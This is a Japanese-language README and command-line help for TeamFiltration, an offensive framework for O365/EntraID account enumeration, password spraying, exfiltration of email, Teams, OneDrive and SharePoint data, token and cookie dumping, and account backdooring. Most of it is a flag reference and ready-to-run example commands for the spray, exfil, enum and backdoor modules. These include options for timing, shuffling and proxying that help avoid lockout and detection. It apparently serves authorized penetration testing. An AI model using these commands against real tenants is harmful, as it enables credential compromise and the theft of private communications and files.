
クロスプラットフォームフレームワーク。O365アカウントの列挙、パスワードスプレーイング、メール/Teams/OneDriveデータの流出、EntraIDアカウントのトークン操作によるバックドア化を行う。
TeamFiltration は、O365 EntraID アカウントの列挙、スプレー攻撃、データ流出、バックドア処理を行うためのクロスプラットフォームフレームワークです。 TeamFiltration の動作の概要については TeamFiltration ウィキページを、セットアップ方法については Quick Start Guide を参照してください。
このツールは、2021年1月から TrustedSec 社内で使用されており、DefCON30 での講演 Taking a Dump In The Cloud で公開されました。
Linux、Windows、MacOS 向けの最新のプリコンパイル済みリリースをダウンロードできます
リリースは単一のアプリケーション依存バイナリにプリコンパイルされています。サイズは大きくなりますが、実行に NET やその他の依存関係は必要ありません。
AWS Fireprox の機能はスプレーおよび列挙モジュールから削除されました。代わりに、設定ファイルで定義されたプロキシを介してすべてのトラフィックがルーティングされます。プロキシはスプレー攻撃と列挙に自動的に使用されます。データ流出にプロキシを使用する場合は、--debug フラグを有効にする必要があります。
╔╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╗
╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╠╬╬╝╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╣ │ ╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╣ ││ ╚╬╬╝╚ └╚╝╬╬╬╬╬╬
╬╬╬╬╣ ╔╦╦╬╬╬╬╬╬╦╦╗ ││ │ ╬╬╬╬╬
╬╬╬╬╣ ╔╬╬╬╝╝┘ ╚╝╝╬╬╬┐ ││ ││ └╬╬╬╬
╬╬╬╬┤ ╬╬╝╚╩╬╗╔ ╚╬╬╬ ││ ││ ╬╬╬╬
╬╬╬╬┤ ╬╝ ╚╬╬╗╗ ╔ ╚╬╗ ││ ├││ ╬╬╬╬
╬╬╬╬┤ ╬╬ ╔╗ ╚╬╬╬╬╬╬╦ ╬╬ │┌ ╔╬┤││ ╔╬╬╬╬
╬╬╬╬┤ ╔╬┤ ╬╬╬ ╬╬╬╬╬╬╬╬╝╝╝╬╬╗ ╠╬╬╬╬╬╬╬╬╬╗ ┌╬╬╬╬╬
╬╬╬╬┤ ╬╬┤ ╚╩┘ ╚╬╬╬╬╬╩ ╠╬╬ ╚╝╝╝╝╝╝╝╝╝╬╬╗╗╗╦╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬┤ ╠╬╬ ││ ╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬ ╦╗ ╗╗ ╬╬ ││ │ ╬╬╬╬
╬╬╬╬┤ └╬┐ ╚╬╗╗ ╔╬╬╝ ╔╬┘ ││ │ ╬╬╬╬
╬╬╬╬┤ └╬╗ ╚╩╩╬╬╬╩╩╝╝ ╔╬╬ ││ │ ╬╬╬╬
╬╬╬╬┤ ╚╬╬╬╗ ┌╗╬╬╝┘ ││ │ ╬╬╬╬
╬╬╬╬┤ ╚╩╬╬╬╦╦╦╦╦╦╬╬╬╝╝ ││ │ ╬╬╬╬
╬╬╬╬┤ ╚╚╝╝╝╝ ││ │ ╬╬╬╬
╬╬╬╬┤ ││ │ ╔╗╬╬╬╬╬
╬╬╬╬┤ ││ ╬╦╦╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ││ ╔╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬╬╗╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
└╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╝
╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝
[❤] TeamFiltration V3.5.5 PUBLIC, created by @Flangvik at @TrustedSec
[+] Args parsed
使用方法:
--outpath データベースと流出情報を保存する出力パス (すべてのモジュールで必要)
--config チームフィルトレーション構成ファイルへのローカルパス。指定しない場合はカレントパスから読み込みます
--exfil データ流出モジュールを読み込む
--username データベースにない特定のユーザー名をターゲットにする場合に上書き
--password データベースにない特定のパスワードをターゲットにする場合に上書き
--tokens 改行区切りのJWTトークンファイル、単一JWT、カンマ区切りのJWTトークンをターゲットにし、データ流出を実行
--cookie-dump 特定のアカウントをリフレッシュクッキーコレクションでターゲットにする場合に上書き
--all すべてのSSOリソース (Graph, OWA, SharePoint, OneDrive, Teams) から情報を流出
--aad Graph API から情報を流出 (ドメインユーザーとグループ)
--teams Teams API から情報を流出 (ファイル、チャットログ、添付ファイル、連絡先リスト)
--teams-db 流出したTeamsデータベースからクッキーと認証トークンを流出
--onedrive OneDrive/SharePoint API から情報を流出 (アクセス可能なSharePointファイルとユーザーのOneDrive全体)
--owa Outlook REST API から情報を流出 (送受信された最新2000件のメール)
--owa-limit 流出するメールの最大数を設定、デフォルトは2000
--jwt-tokens 収集したすべてのJSON形式JWTトークンをSSOリソース (MsGraph, AdGraph, Outlook, SharePoint, OneDrive, Teams) に対してダンプ
--spray スプレー攻撃モジュールを読み込む
--aad-sso SecureWorks のAzure Active Directoryパスワードブルートフォース手法を使用してスプレー
--us-cloud 米国テナント (https://login.microsoftonline.us/) に接続された企業に対してスプレーする場合
--passwords パスワードリストのパス。指定しない場合は一般的な弱いパスワードが生成される
--exclude スプレーから除外するメールアドレスのリストのパス
--seasons-only 生成されるスプレーパスワードがシーズンに基づくものだけになる
--months-only 生成されるスプレーパスワードが月に基づくものだけになる
--common-only 上位20の一般的なパスワードでスプレー
--shuffle-passwords スプレー前にパスワードリストをシャッフル
--shuffle-users スプレー前にターゲットユーザーリストをシャッフル
--shuffle-regions スプレー時にFireProxリージョンをシャッフル
--auto-exfil 有効なログインが見つかった場合、自動的に流出モジュールを開始
--sleep-min スプレーの完全なローテーションごとの最小待機時間 (分)。デフォルト=60
--sleep-max スプレーの完全なローテーションごとの最大待機時間 (分)。デフォルト=100
--jitter 個々の認証試行間の秒数。デフォルト=0
--time-window スプレーが行われる時間帯を定義。24時間形式 <12:00-19:00>
--push 有効な認証情報が見つかった場合に Pushover 通知を送信 (設定にpushoverキーが必要)
--push-locked スプレーされたアカウントがロックされた場合に Pushover 通知を送信 (設定にpushoverキーが必要)
--force 最後の試行から <sleep> 時間未満でもスプレーを強制的に続行
--enum 列挙モジュールを読み込む
--domain 列挙を実行するドメイン。--usernames が指定されていない場合、統計的に可能性の高いユーザー名から名前を取得
--usernames 列挙するユーザー名 (メール) のリストのパス
--dehashed dehashed サブモジュールを使用してベースドメインからメールを列挙
--validate-msol public GetCredentialType メソッドを使用して指定されたo365アカウントが存在することを検証 (レート制限が非常に厳しい - 遅い 20 e/s)
--validate-teams Teams API メソッドを使用して指定されたo365アカウントが存在することを検証 (推奨 - 非常に高速 300 e/s)
--validate-login ログインを試みて指定されたo365アカウントを検証 (ノイズが多い - ログインをトリガー - 高速 100 e/s)
--validate-onedrive @nyxgeek のOneDriveメソッドを使用して指定されたo365アカウントを検証 (推奨 - 高速 300 e/s)
--backdoor インタラクティブなバックドアモジュールを読み込む
--database インタラクティブなデータベースブラウザモジュールを読み込む
--debug すべての発信HTTPリクエストを設定で指定されたプロキシ経由でルーティング
例:
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --sleep-min 120 --sleep-max 200 --push --shuffle-users --shuffle-regions
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --push-locked --months-only --exclude C:\Clients\FooBar\Exclude_Emails.txt
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --passwords C:\Clients\2021\FooBar\Generic\Passwords.txt --time-window 13:00-22:00
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --cookie-dump C:\\CookieData.txt --all
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --aad
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --tokens C:\\OutputTokens.txt --onedrive --owa
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --teams --owa --owa-limit 5000
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --debug --exfil --onedrive
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --enum --validate-onedrive --domain example.com
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --enum --validate-msol --usernames C:\Clients\FooBar\OSINT\Usernames.txt
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --backdoor
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --database